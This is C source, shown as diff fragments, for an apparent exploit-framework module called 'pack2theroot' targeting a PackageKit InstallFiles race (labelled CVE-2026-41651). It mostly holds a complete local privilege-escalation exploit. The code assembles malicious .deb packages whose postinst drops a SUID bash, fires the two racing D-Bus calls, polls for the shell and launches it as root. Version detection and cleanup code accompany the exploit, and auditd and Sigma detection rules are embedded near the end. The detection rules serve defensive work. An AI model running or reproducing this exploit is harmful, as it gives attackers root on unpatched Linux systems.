|
buf[154] = '\0'; buf[155] = ' ';
|
||||||
|
size_t pad = dlen ? ((dlen + 511) / 512) * 512 : 0;
|
||||||
|
if (dlen && data) memcpy(buf + 512, data, dlen);
|
||||||
|
if (pad > dlen) memset(buf + 512 + dlen, 0, pad - dlen);
|
||||||
|
return 512 + pad;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── ar member ─────────────────────────────────────────────────────── */
|
||||||
|
static void ar_entry(FILE *f, const char *name, const void *data, size_t sz)
|
||||||
|
{
|
||||||
|
char h[61]; memset(h, ' ', 60); h[60] = 0;
|
||||||
|
char t[17]; snprintf(t, 17, "%-16s", name); memcpy(h, t, 16);
|
||||||
|
snprintf(t, 13, "%-12lu", (unsigned long)time(NULL)); memcpy(h+16, t, 12);
|
||||||
|
memcpy(h+28, "0 ", 6); memcpy(h+34, "0 ", 6);
|
||||||
|
memcpy(h+40, "100644 ", 8);
|
||||||
|
snprintf(t, 11, "%-10zu", sz); memcpy(h+48, t, 10);
|
||||||
|
h[58] = '`'; h[59] = '\n';
|
||||||
|
fwrite(h, 1, 60, f); fwrite(data, 1, sz, f);
|
||||||
|
if (sz % 2) fputc('\n', f);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Assemble a minimal .deb (faithful to the V12 PoC build_deb). */
|
||||||
|
static int build_deb(const char *dest, const char *pkg, const char *postinst)
|
||||||
|
{
|
||||||
|
static uint8_t tarbuf[65536], gzbuf[65536+256];
|
||||||
|
memset(tarbuf, 0, sizeof tarbuf);
|
||||||
|
crc_init();
|
||||||
|
size_t off = 0;
|
||||||
|
|
||||||
|
char ctrl[512];
|
||||||
|
snprintf(ctrl, sizeof ctrl,
|
||||||
|
"Package: %s\nVersion: 1.0\nArchitecture: all\n"
|
||||||
|
"Maintainer: SKELETONKEY\nDescription: Pack2TheRoot PoC\n", pkg);
|
||||||
|
|
||||||
|
off += tar_entry(tarbuf+off, "./", NULL, 0, 0755, '5');
|
||||||
|
off += tar_entry(tarbuf+off, "./control", ctrl, strlen(ctrl), 0644, '0');
|
||||||
|
if (postinst)
|
||||||
|
off += tar_entry(tarbuf+off, "./postinst", postinst,
|
||||||
|
strlen(postinst), 0755, '0');
|
||||||
|
off += 1024; /* end-of-archive: two 512-byte zero blocks */
|
||||||
|
|
||||||
|
size_t ctrl_gz_len = gzip_store(tarbuf, off, gzbuf);
|
||||||
|
if (!ctrl_gz_len) return -1;
|
||||||
|
|
||||||
|
static uint8_t empty_tar[1024], data_gz[256];
|
||||||
|
memset(empty_tar, 0, sizeof empty_tar);
|
||||||
|
size_t data_gz_len = gzip_store(empty_tar, sizeof empty_tar, data_gz);
|
||||||
|
|
||||||
|
FILE *f = fopen(dest, "wb");
|
||||||
|
if (!f) return -1;
|
||||||
|
fwrite("!<arch>\n", 1, 8, f);
|
||||||
|
ar_entry(f, "debian-binary", "2.0\n", 4);
|
||||||
|
ar_entry(f, "control.tar.gz", gzbuf, ctrl_gz_len);
|
||||||
|
ar_entry(f, "data.tar.gz", data_gz, data_gz_len);
|
||||||
|
fclose(f);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── D-Bus helpers ─────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
typedef struct { GMainLoop *loop; guint32 exit_code; gboolean done; } P2trCtx;
|
||||||
|
|
||||||
|
static void cb_finished(GDBusConnection *c G_GNUC_UNUSED,
|
||||||
|
const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
|
||||||
|
const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
|
||||||
|
GVariant *p, gpointer u)
|
||||||
|
{
|
||||||
|
P2trCtx *ctx = u; guint32 ec, rt;
|
||||||
|
g_variant_get(p, "(uu)", &ec, &rt);
|
||||||
|
LOG("transaction finished (exit=%u, %u ms)", ec, rt);
|
||||||
|
ctx->exit_code = ec; ctx->done = TRUE;
|
||||||
|
g_main_loop_quit(ctx->loop);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void cb_error(GDBusConnection *c G_GNUC_UNUSED,
|
||||||
|
const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
|
||||||
|
const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
|
||||||
|
GVariant *p, gpointer u G_GNUC_UNUSED)
|
||||||
|
{
|
||||||
|
guint32 code; const gchar *det;
|
||||||
|
g_variant_get(p, "(u&s)", &code, &det);
|
||||||
|
LOG("PK error %u: %s", code, det);
|
||||||
|
}
|
||||||
|
|
||||||
|
static gboolean cb_timeout(gpointer u)
|
||||||
|
{
|
||||||
|
ERR("transaction loop timed out");
|
||||||
|
g_main_loop_quit(u);
|
||||||
|
return G_SOURCE_REMOVE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static char *pk_create_tx(GDBusConnection *conn)
|
||||||
|
{
|
||||||
|
GError *e = NULL;
|
||||||
|
GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ, PK_IFACE,
|
||||||
|
"CreateTransaction", NULL, G_VARIANT_TYPE("(o)"),
|
||||||
|
G_DBUS_CALL_FLAGS_NONE, -1, NULL, &e);
|
||||||
|
if (!r) {
|
||||||
|
ERR("CreateTransaction: %s", e ? e->message : "?");
|
||||||
|
if (e) g_error_free(e);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
const gchar *tid; g_variant_get(r, "(&o)", &tid);
|
||||||
|
char *copy = g_strdup(tid); g_variant_unref(r);
|
||||||
|
return copy;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Fire-and-forget: both messages must land in the server's socket
|
||||||
|
* buffer before the GLib idle from Step 1 fires. Faithful to the PoC. */
|
||||||
|
static void pk_install_files_async(GDBusConnection *conn, const char *tid,
|
||||||
|
guint64 flags, const char *path)
|
||||||
|
{
|
||||||
|
const char *paths[] = { path, NULL };
|
||||||
|
g_dbus_connection_call(conn, PK_BUS, tid, PK_TX_IFACE,
|
||||||
|
"InstallFiles", g_variant_new("(t^as)", flags, paths),
|
||||||
|
NULL, G_DBUS_CALL_FLAGS_NONE, -1, NULL, NULL, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool dbus_name_has_owner(GDBusConnection *conn, const char *name)
|
||||||
|
{
|
||||||
|
GError *e = NULL;
|
||||||
|
GVariant *r = g_dbus_connection_call_sync(conn, "org.freedesktop.DBus",
|
||||||
|
"/org/freedesktop/DBus", "org.freedesktop.DBus", "NameHasOwner",
|
||||||
|
g_variant_new("(s)", name), G_VARIANT_TYPE("(b)"),
|
||||||
|
G_DBUS_CALL_FLAGS_NONE, 2000, NULL, &e);
|
||||||
|
if (!r) { if (e) g_error_free(e); return false; }
|
||||||
|
gboolean has; g_variant_get(r, "(b)", &has);
|
||||||
|
g_variant_unref(r);
|
||||||
|
return (bool)has;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Read PackageKit's VersionMajor/Minor/Micro D-Bus properties. */
|
||||||
|
static bool pk_query_version(GDBusConnection *conn, int *maj, int *min, int *mic)
|
||||||
|
{
|
||||||
|
static const char *names[] = { "VersionMajor", "VersionMinor", "VersionMicro" };
|
||||||
|
int *out[3] = { maj, min, mic };
|
||||||
|
for (int i = 0; i < 3; i++) {
|
||||||
|
GError *e = NULL;
|
||||||
|
GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ,
|
||||||
|
"org.freedesktop.DBus.Properties", "Get",
|
||||||
|
g_variant_new("(ss)", PK_IFACE, names[i]),
|
||||||
|
G_VARIANT_TYPE("(v)"), G_DBUS_CALL_FLAGS_NONE,
|
||||||
|
2000, NULL, &e);
|
||||||
|
if (!r) { if (e) g_error_free(e); return false; }
|
||||||
|
GVariant *vinner = NULL;
|
||||||
|
g_variant_get(r, "(v)", &vinner);
|
||||||
|
if (!vinner) { g_variant_unref(r); return false; }
|
||||||
|
if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_UINT32))
|
||||||
|
*out[i] = (int)g_variant_get_uint32(vinner);
|
||||||
|
else if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_INT32))
|
||||||
|
*out[i] = (int)g_variant_get_int32(vinner);
|
||||||
|
else {
|
||||||
|
g_variant_unref(vinner); g_variant_unref(r); return false;
|
||||||
|
}
|
||||||
|
g_variant_unref(vinner); g_variant_unref(r);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── detect ────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
p2tr_verbose = !ctx->json;
|
||||||
|
|
||||||
|
/* "Already root" check — consult ctx->host first so unit tests
|
||||||
|
* can construct a non-root fingerprint regardless of the test
|
||||||
|
* process's real euid. Production main() populates host->is_root
|
||||||
|
* from geteuid() at startup, so behaviour is unchanged. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] pack2theroot: already root — nothing to do\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Host fingerprint short-circuits — populated once at startup. */
|
||||||
|
if (ctx->host && !ctx->host->is_debian_family) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] pack2theroot: not a Debian-family host "
|
||||||
|
"(distro=%s) — PoC's .deb builder is Debian-only\n",
|
||||||
|
ctx->host->distro_id);
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
if (ctx->host && !ctx->host->has_dbus_system) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] pack2theroot: no system D-Bus socket at "
|
||||||
|
"/run/dbus/system_bus_socket — PackageKit unreachable\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
GError *e = NULL;
|
||||||
|
GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &e);
|
||||||
|
if (!conn) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] pack2theroot: system D-Bus unavailable: %s\n",
|
||||||
|
e ? e->message : "(unknown)");
|
||||||
|
if (e) g_error_free(e);
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!dbus_name_has_owner(conn, PK_BUS)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] pack2theroot: PackageKit daemon not "
|
||||||
|
"registered on the system bus\n");
|
||||||
|
g_object_unref(conn);
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
int maj = 0, min = 0, mic = 0;
|
||||||
|
bool got_version = pk_query_version(conn, &maj, &min, &mic);
|
||||||
|
g_object_unref(conn);
|
||||||
|
|
||||||
|
if (!got_version) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[?] pack2theroot: PackageKit running but "
|
||||||
|
"VersionMajor/Minor/Micro unreadable — patch-level "
|
||||||
|
"unknown\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
int v = P2TR_VER(maj, min, mic);
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] pack2theroot: PackageKit %d.%d.%d on the bus\n",
|
||||||
|
maj, min, mic);
|
||||||
|
|
||||||
|
if (v < P2TR_VER_LO) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] pack2theroot: %d.%d.%d predates the bug "
|
||||||
|
"(introduced in 1.0.2)\n", maj, min, mic);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (v > P2TR_VER_HI) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] pack2theroot: %d.%d.%d is patched "
|
||||||
|
"(fixed in 1.3.5, commit 76cfb675)\n", maj, min, mic);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] pack2theroot: PackageKit %d.%d.%d is "
|
||||||
|
"VULNERABLE (range 1.0.2 ≤ V ≤ 1.3.4)\n", maj, min, mic);
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── exploit child (faithful port of the PoC main() body) ──────────── */
|
||||||
|
|
||||||
|
static int p2tr_child_run(int no_shell)
|
||||||
|
{
|
||||||
|
char dummy[64], payload[64], postinst[160];
|
||||||
|
snprintf(dummy, sizeof dummy, "/tmp/.pk-dummy-%d.deb", getpid());
|
||||||
|
snprintf(payload, sizeof payload, "/tmp/.pk-payload-%d.deb", getpid());
|
||||||
|
snprintf(postinst, sizeof postinst,
|
||||||
|
"#!/bin/sh\ninstall -m 4755 /bin/bash %s\n", SUID_PATH);
|
||||||
|
|
||||||
|
LOG("building .deb packages (pure C; ar/tar/gzip inline)");
|
||||||
|
if (build_deb(dummy, "skeletonkey-p2tr-dummy", NULL) < 0) {
|
||||||
|
ERR("dummy .deb build failed");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
if (build_deb(payload, "skeletonkey-p2tr-payload", postinst) < 0) {
|
||||||
|
ERR("payload .deb build failed"); unlink(dummy);
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
if (access(dummy, F_OK) != 0 || access(payload, F_OK) != 0) {
|
||||||
|
ERR("built .deb files are missing"); return 2;
|
||||||
|
}
|
||||||
|
LOG("dummy : %s", dummy);
|
||||||
|
LOG("payload : %s", payload);
|
||||||
|
|
||||||
|
GError *err = NULL;
|
||||||
|
GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &err);
|
||||||
|
if (!conn) {
|
||||||
|
ERR("system D-Bus: %s", err ? err->message : "?");
|
||||||
|
if (err) g_error_free(err);
|
||||||
|
unlink(dummy); unlink(payload);
|
||||||
|
return 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
char *tid = pk_create_tx(conn);
|
||||||
|
if (!tid) { g_object_unref(conn); unlink(dummy); unlink(payload); return 2; }
|
||||||
|
LOG("transaction : %s", tid);
|
||||||
|
|
||||||
|
P2trCtx pkctx = { .loop = g_main_loop_new(NULL, FALSE), .done = FALSE };
|
||||||
|
guint sf = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
|
||||||
|
"Finished", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_finished, &pkctx, NULL);
|
||||||
|
guint se = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
|
||||||
|
"ErrorCode", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_error, NULL, NULL);
|
||||||
|
|
||||||
|
/* ── EXPLOIT ───────────────────────────────────────────────────── */
|
||||||
|
LOG("step 1: InstallFiles(SIMULATE=0x%llx, dummy) [async]",
|
||||||
|
(unsigned long long)FLAG_SIMULATE);
|
||||||
|
pk_install_files_async(conn, tid, FLAG_SIMULATE, dummy);
|
||||||
|
|
||||||
|
LOG("step 2: InstallFiles(NONE=0x%llx, payload) [async]",
|
||||||
|
(unsigned long long)FLAG_NONE);
|
||||||
|
pk_install_files_async(conn, tid, FLAG_NONE, payload);
|
||||||
|
|
||||||
|
/* Flush so both messages land in the server's socket buffer before
|
||||||
|
* its main loop runs the GLib idle from step 1. */
|
||||||
|
{
|
||||||
|
GError *fe = NULL;
|
||||||
|
if (!g_dbus_connection_flush_sync(conn, NULL, &fe)) {
|
||||||
|
ERR("D-Bus flush: %s", fe ? fe->message : "?");
|
||||||
|
g_clear_error(&fe);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("awaiting dispatch (30s max)");
|
||||||
|
g_timeout_add_seconds(30, cb_timeout, pkctx.loop);
|
||||||
|
g_main_loop_run(pkctx.loop);
|
||||||
|
|
||||||
|
g_dbus_connection_signal_unsubscribe(conn, sf);
|
||||||
|
g_dbus_connection_signal_unsubscribe(conn, se);
|
||||||
|
g_free(tid);
|
||||||
|
g_object_unref(conn);
|
||||||
|
|
||||||
|
/* Record /tmp paths for cleanup() even if the SUID never lands. */
|
||||||
|
int sf2 = open("/tmp/skeletonkey-pack2theroot.state",
|
||||||
|
O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||||
|
if (sf2 >= 0) {
|
||||||
|
dprintf(sf2, "%s\n%s\n", dummy, payload);
|
||||||
|
close(sf2);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Poll up to 120s for the SUID bash; the APT backend may keep
|
||||||
|
* running after polkit fires. Faithful to the PoC's polling loop. */
|
||||||
|
LOG("polling for SUID payload at %s (120s max)", SUID_PATH);
|
||||||
|
struct stat st;
|
||||||
|
int appeared_at = -1;
|
||||||
|
for (int i = 0; i < 1200; i++) {
|
||||||
|
usleep(100000); /* 100 ms */
|
||||||
|
if (i % 50 == 0 && p2tr_verbose) {
|
||||||
|
int lock_fd = open("/var/lib/dpkg/lock", O_RDONLY);
|
||||||
|
int lock_held = 0;
|
||||||
|
if (lock_fd >= 0) {
|
||||||
|
lock_held = (flock(lock_fd, LOCK_EX | LOCK_NB) != 0);
|
||||||
|
if (!lock_held) flock(lock_fd, LOCK_UN);
|
||||||
|
close(lock_fd);
|
||||||
|
}
|
||||||
|
fprintf(stderr, "[*] pack2theroot: t+%ds payload=%s "
|
||||||
|
"dpkg_lock=%s suid=%s\n",
|
||||||
|
(i/10)+1,
|
||||||
|
access(payload, F_OK) == 0 ? "present" : "consumed",
|
||||||
|
lock_held ? "held" : "free",
|
||||||
|
access(SUID_PATH, F_OK) == 0 ? "FOUND" : "not yet");
|
||||||
|
}
|
||||||
|
if (stat(SUID_PATH, &st) == 0 && (st.st_mode & S_ISUID)) {
|
||||||
|
appeared_at = i;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (appeared_at < 0) {
|
||||||
|
ERR("SUID bash never appeared at %s within 120s", SUID_PATH);
|
||||||
|
return 3; /* EXPLOIT_FAIL */
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("SUCCESS — SUID bash landed at t+%dms", appeared_at * 100);
|
||||||
|
|
||||||
|
if (no_shell) {
|
||||||
|
LOG("--no-shell: payload placed, root shell not spawned");
|
||||||
|
LOG("revert with `skeletonkey --cleanup pack2theroot` (needs root)");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Exec the SUID bash interactively. */
|
||||||
|
if (isatty(STDIN_FILENO)) {
|
||||||
|
char *ttydev = ttyname(STDIN_FILENO);
|
||||||
|
pid_t child = fork();
|
||||||
|
if (child == 0) {
|
||||||
|
setsid();
|
||||||
|
if (ttydev) {
|
||||||
|
int t = open(ttydev, O_RDWR);
|
||||||
|
if (t >= 0) {
|
||||||
|
ioctl(t, TIOCSCTTY, 1);
|
||||||
|
dup2(t, 0); dup2(t, 1); dup2(t, 2);
|
||||||
|
if (t > 2) close(t);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
char *argv[] = { (char *)SUID_PATH, "-p", NULL };
|
||||||
|
execv(SUID_PATH, argv);
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
if (child > 0) { int s; waitpid(child, &s, 0); }
|
||||||
|
} else {
|
||||||
|
/* Non-tty: just exec the SUID bash (replaces our process). */
|
||||||
|
char *argv[] = { (char *)SUID_PATH, "-p", NULL };
|
||||||
|
execv(SUID_PATH, argv);
|
||||||
|
ERR("execv(%s): %s", SUID_PATH, strerror(errno));
|
||||||
|
return 3;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
p2tr_verbose = !ctx->json;
|
||||||
|
|
||||||
|
if (geteuid() == 0) {
|
||||||
|
fprintf(stderr, "[i] pack2theroot: already root — nothing to do\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
if (pid == 0) {
|
||||||
|
int rc = p2tr_child_run(ctx->no_shell);
|
||||||
|
_exit(rc);
|
||||||
|
}
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
if (!WIFEXITED(st)) return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
switch (WEXITSTATUS(st)) {
|
||||||
|
case 0: return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
case 4: return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
default: return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── cleanup ───────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
p2tr_verbose = !ctx->json;
|
||||||
|
|
||||||
|
/* Remove the two staged .debs (recorded during exploit). */
|
||||||
|
int sf = open("/tmp/skeletonkey-pack2theroot.state", O_RDONLY);
|
||||||
|
if (sf >= 0) {
|
||||||
|
char buf[512] = {0};
|
||||||
|
ssize_t n = read(sf, buf, sizeof(buf) - 1);
|
||||||
|
close(sf);
|
||||||
|
if (n > 0) {
|
||||||
|
char *line = strtok(buf, "\n");
|
||||||
|
while (line) {
|
||||||
|
if (unlink(line) == 0) LOG("removed %s", line);
|
||||||
|
line = strtok(NULL, "\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
unlink("/tmp/skeletonkey-pack2theroot.state");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Best-effort remove the SUID bash. It is owned by root, so this
|
||||||
|
* only succeeds when cleanup runs with root privileges (e.g. the
|
||||||
|
* caller already used the SUID shell to escalate). */
|
||||||
|
if (access(SUID_PATH, F_OK) == 0) {
|
||||||
|
if (unlink(SUID_PATH) == 0) {
|
||||||
|
LOG("removed %s", SUID_PATH);
|
||||||
|
} else {
|
||||||
|
ERR("could not remove %s (%s); rerun cleanup as root, or:",
|
||||||
|
SUID_PATH, strerror(errno));
|
||||||
|
ERR(" sudo rm -f %s", SUID_PATH);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Best-effort: uninstall the malicious package via passwordless sudo. */
|
||||||
|
if (system("sudo -n dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy "
|
||||||
|
">/dev/null 2>&1") == 0) {
|
||||||
|
LOG("dpkg -r removed staged packages");
|
||||||
|
} else {
|
||||||
|
LOG("dpkg -r not run automatically; if needed:");
|
||||||
|
LOG(" sudo dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ || !PACK2TR_HAVE_GIO */
|
||||||
|
|
||||||
|
static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json) {
|
||||||
|
#ifndef __linux__
|
||||||
|
fprintf(stderr, "[i] pack2theroot: Linux-only module "
|
||||||
|
"(PackageKit D-Bus) — not applicable on this platform\n");
|
||||||
|
#else
|
||||||
|
fprintf(stderr, "[i] pack2theroot: module built without "
|
||||||
|
"GLib/gio-2.0 support — install libglib2.0-dev and rebuild\n");
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] pack2theroot: not built with GLib/gio-2.0 support\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ && PACK2TR_HAVE_GIO */
|
||||||
|
|
||||||
|
/* ── embedded detection rules ──────────────────────────────────────── */
|
||||||
|
|
||||||
|
static const char p2tr_auditd[] =
|
||||||
|
"# Pack2TheRoot (CVE-2026-41651) — auditd detection rules\n"
|
||||||
|
"# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls\n"
|
||||||
|
"# install a malicious .deb as root and drop a SUID bash in /tmp.\n"
|
||||||
|
"# Watch the side effects — D-Bus calls themselves aren't auditable\n"
|
||||||
|
"# without bus-monitoring, but the file footprint is unmistakable.\n"
|
||||||
|
"\n"
|
||||||
|
"# SUID bash carrier that the PoC postinst lands\n"
|
||||||
|
"-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot\n"
|
||||||
|
"\n"
|
||||||
|
"# Any new setuid binary owned by root in /tmp is suspicious\n"
|
||||||
|
"-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \\\n"
|
||||||
|
" -F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid\n"
|
||||||
|
"\n"
|
||||||
|
"# The PoC drops two .deb files in /tmp before the install fires\n"
|
||||||
|
"-a always,exit -F arch=b64 -S openat,creat \\\n"
|
||||||
|
" -F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb\n"
|
||||||
|
"\n"
|
||||||
|
"# packagekitd-driven dpkg activity initiated by a non-root caller\n"
|
||||||
|
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \\\n"
|
||||||
|
" -F auid!=0 -k skeletonkey-pack2theroot-dpkg\n"
|
||||||
|
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \\\n"
|
||||||
|
" -F auid!=0 -k skeletonkey-pack2theroot-apt\n";
|
||||||
|
|
||||||
|
static const char p2tr_sigma[] =
|
||||||
|
"title: Possible Pack2TheRoot exploitation (CVE-2026-41651)\n"
|
||||||
|
"id: 3f2b8d54-skeletonkey-pack2theroot\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects the footprint of Pack2TheRoot (CVE-2026-41651): a non-root\n"
|
||||||
|
" user triggers PackageKit InstallFiles, dpkg runs a postinst that\n"
|
||||||
|
" drops /tmp/.suid_bash (a setuid bash), and a privileged shell\n"
|
||||||
|
" follows. The trigger itself is two back-to-back D-Bus calls with\n"
|
||||||
|
" no polkit prompt — only visible via dbus-monitor or the file\n"
|
||||||
|
" side effects.\n"
|
||||||
|
"references:\n"
|
||||||
|
" - https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html\n"
|
||||||
|
" - https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" suid_drop:\n"
|
||||||
|
" type: 'PATH'\n"
|
||||||
|
" name|startswith: ['/tmp/.suid_bash', '/tmp/.pk-payload-', '/tmp/.pk-dummy-']\n"
|
||||||
|
" not_root:\n"
|
||||||
|
" auid|expression: '!= 0'\n"
|
||||||
|
" condition: suid_drop and not_root\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags:\n"
|
||||||
|
" - attack.privilege_escalation\n"
|
||||||
|
" - attack.t1068\n"
|
||||||
|
" - cve.2026.41651\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module pack2theroot_module = {
|
||||||
|
.name = "pack2theroot",
|
||||||
|
.cve = "CVE-2026-41651",
|
||||||
|
.summary = "PackageKit InstallFiles TOCTOU → root via .deb postinst",
|
||||||
|
.family = "pack2theroot",
|
||||||
|
.kernel_range = "userspace — PackageKit 1.0.2 ≤ V ≤ 1.3.4 (fixed in 1.3.5)",
|
||||||
|
.detect = p2tr_detect,
|
||||||
|
.exploit = p2tr_exploit,
|
||||||
|
.mitigate = NULL,
|
||||||
|
.cleanup = p2tr_cleanup,
|
||||||
|
.detect_auditd = p2tr_auditd,
|
||||||
|
.detect_sigma = p2tr_sigma,
|
||||||
|
.detect_yara = NULL,
|
||||||
|
.detect_falco = NULL,
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_pack2theroot(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&pack2theroot_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* pack2theroot_cve_2026_41651 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef PACK2THEROOT_SKELETONKEY_MODULES_H
|
||||||
|
#define PACK2THEROOT_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module pack2theroot_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -28,13 +28,17 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
